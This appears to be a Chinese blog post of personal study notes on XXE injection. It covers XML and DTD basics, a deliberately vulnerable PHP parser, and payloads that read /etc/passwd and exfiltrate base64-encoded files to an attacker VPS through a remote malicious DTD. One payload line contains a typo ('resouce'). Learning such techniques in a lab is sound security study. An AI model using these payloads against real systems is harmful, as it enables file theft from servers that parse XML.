XXE漏洞学习笔记(未完待续)

0x00 前言

​ xxe漏洞由于平时没怎么遇到所以一直都是只知道个大概,但是细揪就不行,所以趁此机会特意来学习一下,希望在学习之后能对xxe有进一步的了解,知道漏洞出现的原理,以及在挖漏洞的时候如何进行测试

0x01 漏洞简介

​ xxe漏洞又名外部实体注入漏洞,漏洞的主要成因是由于xml在传输数据的过程中在引入外部实体数据的过程中没有对外部实体的数据进行一个严格的过滤,从而导致我们攻击者可以引入恶意实体,从而造成任意文件读取、任意代码执行等严重后果

​ xml文件解析依赖于libxml库,但是libxml2.9以前的版本是默认支持外部实体的引用的,所以当服务端对我们传输过去的xml文件的时候,没有对外部实体进行一个判断和过滤就会导致xxe漏洞的产生

0x02 XML简介

​ xml全名可扩展标记语言,xml被设计出来的主要目的就是用于传输数据和存储数据(宗旨还是传输数据,和同为标记语言的html不同,html主要的功能是显示数据)

​ 由于计算机无法识别每个数据的属性,所以xml利用标签来给每一个属性一个名字有利于计算的识别,如下:

<person>
    <name>KpLi0rn</name>
  <age>18</age>
</person>

根据上面的例子我们可以看出xml里面数据分类是非常清晰的,每一个特征都会利用标签说明出来,其实和json数据格式非常相似,json也是一个用于数据传输的格式,如下:

{
  "name":"KpLi0rn",
  "age":18
}

XML文档结构

dtd用于规范显示效果?dtd中携带了关于自身格式的描述(全名文档类型定义)

​ 简单的xml格式这里就不过多赘述了,因为也比较简单,就是我们上面那个例子一样的标签化语言,我们主要来看一下含有DTD的xml文档格式,我们经常会在xxe的payload中看到<!DOCTYPE xxx [xxx]>这样的格式,这样其实就是DTD,我们在引入外部实体都是利用这个DTD来进行实现的

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root><name>&xxe;</name></root>

​ DTD全名文档类型定义,DTD每次都会出现在xml文件的上面,我们可以将DTD理解为对xml文档的约束或者规范(如果没有DTD的声明的话,很多时候xml在不同浏览器上的显示效果都会不一样)

​ 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据

​ 接下来我们来看一下一个带有DTD的xml文档

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

我们主要从第二行开始看

  • !DOCTYPE 定义这个文档时note类型的文档
  • !ELEMENT 定义note有四个元素分别为”to, from,heading,body”
  • 后面这几行就是定义这四个元素为#PCDATA类型

#PCDATA是xml元素类型中的一种。读取文件过程中会对文本进行解析

#CDATA”类型为字符数据(character data)。表示读文件但是不用解析,直接读文件的原始内容

这个类型就代表文本是会被解析器解析的类型。因为是会被解析器解析所以文本中是不允许出现 & < >之类的这种符号的,需要使用 & < > 实体来分别替换它们,否则就会报错

image-20200704114609217

像上面的那个xxe中的DTD引用的是内部的

但是由于xxe的主要问题就是引入了恶意的外部DTD,所以在实战过程中我们通常都是引入外部恶意DTD来实现的,如下:

<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<root>&xxe;</root>

这里注意!分号不要漏掉

0x03 漏洞环境

利用php弄的环境,环境源于如下链接

https://www.yuque.com/pmiaowu/web_security_1/vgbyxt

Mamp pro php 5.4.5

vps:134.x.x.x

xxe实验代码

Php 5版本以下

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

# 不需要回显时 注释print($xml);
print($xml);

0x04 漏洞利用

xxe漏洞有两种情况一种是有回显一种是无回显

有回显

由于有回显所以我们直接可以进行任意文件读取

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

我们利用file://协议进行了任意文件读取

image-20200704140857841

无回显

xxe无回显的情况下,需要调用vps上的dtd文件

ps:xxe无回显的情况我mac上无法复现,也不知道是什么原因,所以该实验在windows做了

首先我在windows的D盘下放了一个test.txt 模拟被读取的文件

然后我们需要在vps上放置一个dtd,

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

首先我们来分析一下这个dtd文件

首先来看第一个这个

定义了一个file元素,看到SYSTEM这个格式我们可以知道这是一个调用外部实体的用法,我们利用php伪协议来读取base64之后的d盘下test.txt内容

因为xml在读取&><等富豪的时候会出现报错所以我们base64编码处理一下

然后再是看第二个

定义的是一个int的元素,这个元素所对应的值又是一个dtd结构,在这个dtd结构里面将上面获取到的信息发送到我们vps上的9999端口,结果就是?p=后面

Ps: dtd文件中作为内容的部分需要进行转义

如下图所示

image-20200704163303233

这样我们的恶意dtd就这样弄好了,payload就很简单了

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
    <!ENTITY % remote SYSTEM "http://ip/toos/test/1.dtd">
    %remote;%int;%send;
  ]>

下面的%remote;%int;%send就是调用关系

1.调用%remote对应的实体,实体内容就是调用远程的dtd,也就是调用我们服务器上的恶意dtd

2.调用%int对应的实体,%int内容解析会调用%file,%file获取文件中的内容

3.%file实体读取的内容作为参数交给了%send

4.调用%send对应的实体,将请求发送到vps对应的端口

image-20200704170523632

image-20200704163303233

0x05 实战利用

发表评论

电子邮件地址不会被公开。 必填项已用*标注